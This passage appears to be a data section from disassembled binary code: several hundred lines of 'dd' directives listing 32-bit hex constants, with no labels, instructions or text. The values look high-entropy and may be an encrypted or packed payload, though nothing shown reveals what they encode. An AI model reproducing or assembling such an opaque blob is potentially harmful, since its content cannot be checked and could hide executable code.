		dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h
		dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh,	26BF236Ah
		dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h
		dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h
		dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh,	7AF823B7h
		dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h
		dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h
		dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h
		dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh,	0EC36B288h
		dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h
		dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch
		dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h
		dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h,	7EEA3446h
		dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h
		dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h,	5C75C62Bh
		dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh,	15FF87C4h
		dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh
		dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h,	3A707069h
		dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh
		dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h
		dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h
		dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh,	0FD6133D5h
		dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h
		dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h
		dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh
		dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h
		dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h,	0A999A3D1h
		dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh
		dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h,	5A903438h
		dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch
		dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h
		dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh
		dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h
		dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h
		dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h
		dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh
		dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h
		dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh
		dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h,	2A926DE5h
		dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h
		dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h
		dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh
		dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h
		dd 1CE241D0h, 0D610774Eh
		dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h,	8837A837h
		dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h,	338F18D7h
		dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h
		dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h
		dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh
		dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h,	673ADCB8h
		dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh
		dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h
		dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h,	0FF14D9E8h
		dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh,	0C625A20Ch
		dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh
		dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h,	219551A4h
		dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h,	1046B567h
		dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h
		dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch,	6356DCADh
		dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h
		dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h,	0FD733FB5h
		dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h
		dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh
		dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh
		dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h
		dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh
		dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h,	0DE52A49Bh
		dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh
		dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh
		dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh
		dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h,	9A2A8D23h
		dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh
		dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh
		dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h,	1112E77Dh
		dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch
		dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh
		dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch,	50FA55FDh
		dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh,	0E3AB61F0h
		dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh,	0BE009F69h
		dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch,	279D76F8h
		dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh
		dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h
		dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h
		dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h,	0BB43FE4Bh
		dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h,	0EB511ECDh
		dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h,	0E3794F73h
		dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh
		dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h,	0A1D8661Fh
		dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h,	3041C3EDh
		dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h
		dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh,	0D28697A1h
		dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h
		dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah
		dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch,	61D64ABDh
		dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h,	5FF926C0h
		dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h
		dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch,	98A1170Eh
		dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h
		dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h,	0DF91003Bh
		dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h
		dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h
		dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh
		dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h,	0A225ACC7h
		dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh,	24F54BECh
		dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h,	0B356FD3Ah
		dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh,	7ABA26C0h
		dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h,	958F476Ah
		dd 7EB45DA7h, 5ED6116h,	0F100FA1Ah, 871D15DBh, 0B414503Fh
		dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah,	0CC25EE98h
		dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh,	6E06AAB6h
		dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh
		dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh
		dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h
		dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh
		dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h
		dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h,	9335C57Ah
		dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h
		dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh
		dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh
		dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah
		dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh
		dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h
		dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh,	0F656E470h
		dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h
		dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh
		dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh
		dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h
		dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h,	6255A951h
		dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h
		dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh
		dd 71DC5D11h, 9121637h,	5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh
		dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h
		dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch
		dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h,	31AFBAAh
		dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh
		dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h,	3C110822h
		dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh
		dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh
		dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h
		dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh,	2115430h
		dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h,	80D641D4h
		dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h
		dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h,	0AC1C8273h
		dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh,	0EC733BD7h
		dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h
		dd 42F538D8h, 77C6F4Bh,	2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh
		dd 22E2FE99h, 1F470AC3h
		dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h
		dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h
		dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h
		dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h
		dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h,	53090BAAh
		dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h
		dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah
		dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h
		dd 0FE0097Bh, 446B528h,	0E5A27B37h, 0D575E303h,	0A06F7061h
		dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h
		dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh,	0DA32FF86h
		dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h
		dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh
		dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh
		dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh
		dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h
		dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh
		dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h
		dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh,	2BAD5510h
		dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h
		dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h
		dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h,	9C6806B9h
		dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h
		dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h,	0AD46C76Ah
		dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h,	0BC6177ADh
		dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h
		dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh
		dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh
		dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h
		dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh
		dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh
		dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h
		dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh
		dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh
		dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h
		dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh
		dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h
		dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h,	568C3A9Ah
		dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h
		dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh
		dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h
		dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh,	40D216F9h
		dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h
		dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h,	14B1D910h
		dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h,	487C0BBBh
		dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h
		dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch
		dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h,	0ED432832h
		dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h
		dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h,	958822C5h
		dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h,	7CEF499Ch
		dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh,	4CA85B13h
		dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h
		dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh,	0F378E5C3h
		dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh
		dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh
		dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh
		dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h
		dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh
		dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h
		dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh
		dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h
		dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h,	2D262ABFh
		dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch
		dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h
		dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h,	6C59C32Eh
		dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h
		dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h,	0EC6BD944h
		dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h
		dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h
		dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh
		dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh
		dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h
		dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h
		dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h
		dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh
		dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h,	86279056h
		dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh,	0B09946ECh
		dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh,	5EB1ABADh
		dd 6DD2E80h, 1B46AF94h,	6DD200F9h, 7DBE1BFEh, 9D94C5CFh
		dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h
		dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh
		dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h
		dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h
		dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h,	0A348B619h
		dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch,	6FD848C8h
		dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h
		dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h,	42A0DE16h
		dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch,	0C40D20D2h
		dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch,	0BFE8A1B8h
		dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah
		dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh
		dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h,	34CA3AA9h
		dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h,	98749CBh
		dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h,	0CC718E39h
		dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h
		dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h
		dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h,	55BFB124h
		dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh,	5FC263D5h
		dd 8DED98E1h, 3FD6E52h,	39AF2096h, 0D04DF73Ch, 28E5D371h
		dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h,	6A1CC17Fh
		dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h
		dd 7CBB07B2h, 7EBDFD30h
		dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h
		dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h
		dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h,	0C4CFD79Eh
		dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh
		dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h,	77ADDBE4h
		dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h
		dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h,	5BA435D4h
		dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh,	0B655F5E6h
		dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h
		dd 4D8E171h, 66F37DF9h,	6BED76FEh, 50AFD214h, 0BE7828CDh
		dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h,	0E0AAA0DCh
		dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h
		dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h,	0F6972B46h
		dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h,	0D54FCB83h
		dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh
		dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h,	1E6B03EFh
		dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh
		dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h
		dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh
		dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh
		dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h,	56C016FAh
		dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah
		dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh
		dd 75C7C11h, 66DF61C0h,	6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh
		dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h
		dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h
		dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh
		dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh,	7D1BB60Fh
		dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah,	0FCC995C7h
		dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh,	95315637h
		dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h,	95B852B2h
		dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h
		dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h,	6D8F4A57h
		dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h
		dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h,	0BFF300EDh
		dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h
		dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h,	47A5669Fh
		dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h
		dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h
		dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h
		dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h,	0A0BA5F69h
		dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh,	0DBAE67EAh
		dd 704D62Ah, 8B4CA667h,	7A6AECBh, 8FD0101Eh, 55378FF1h
		dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h,	4C94548Ah
		dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h
		dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh
		dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh
		dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah
		dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h
		dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h
		dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h
		dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh,	735C810h
		dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h
		dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h,	95C97F46h
		dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh,	2B73783Ch
		dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h
		dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh,	0A40DAFC3h
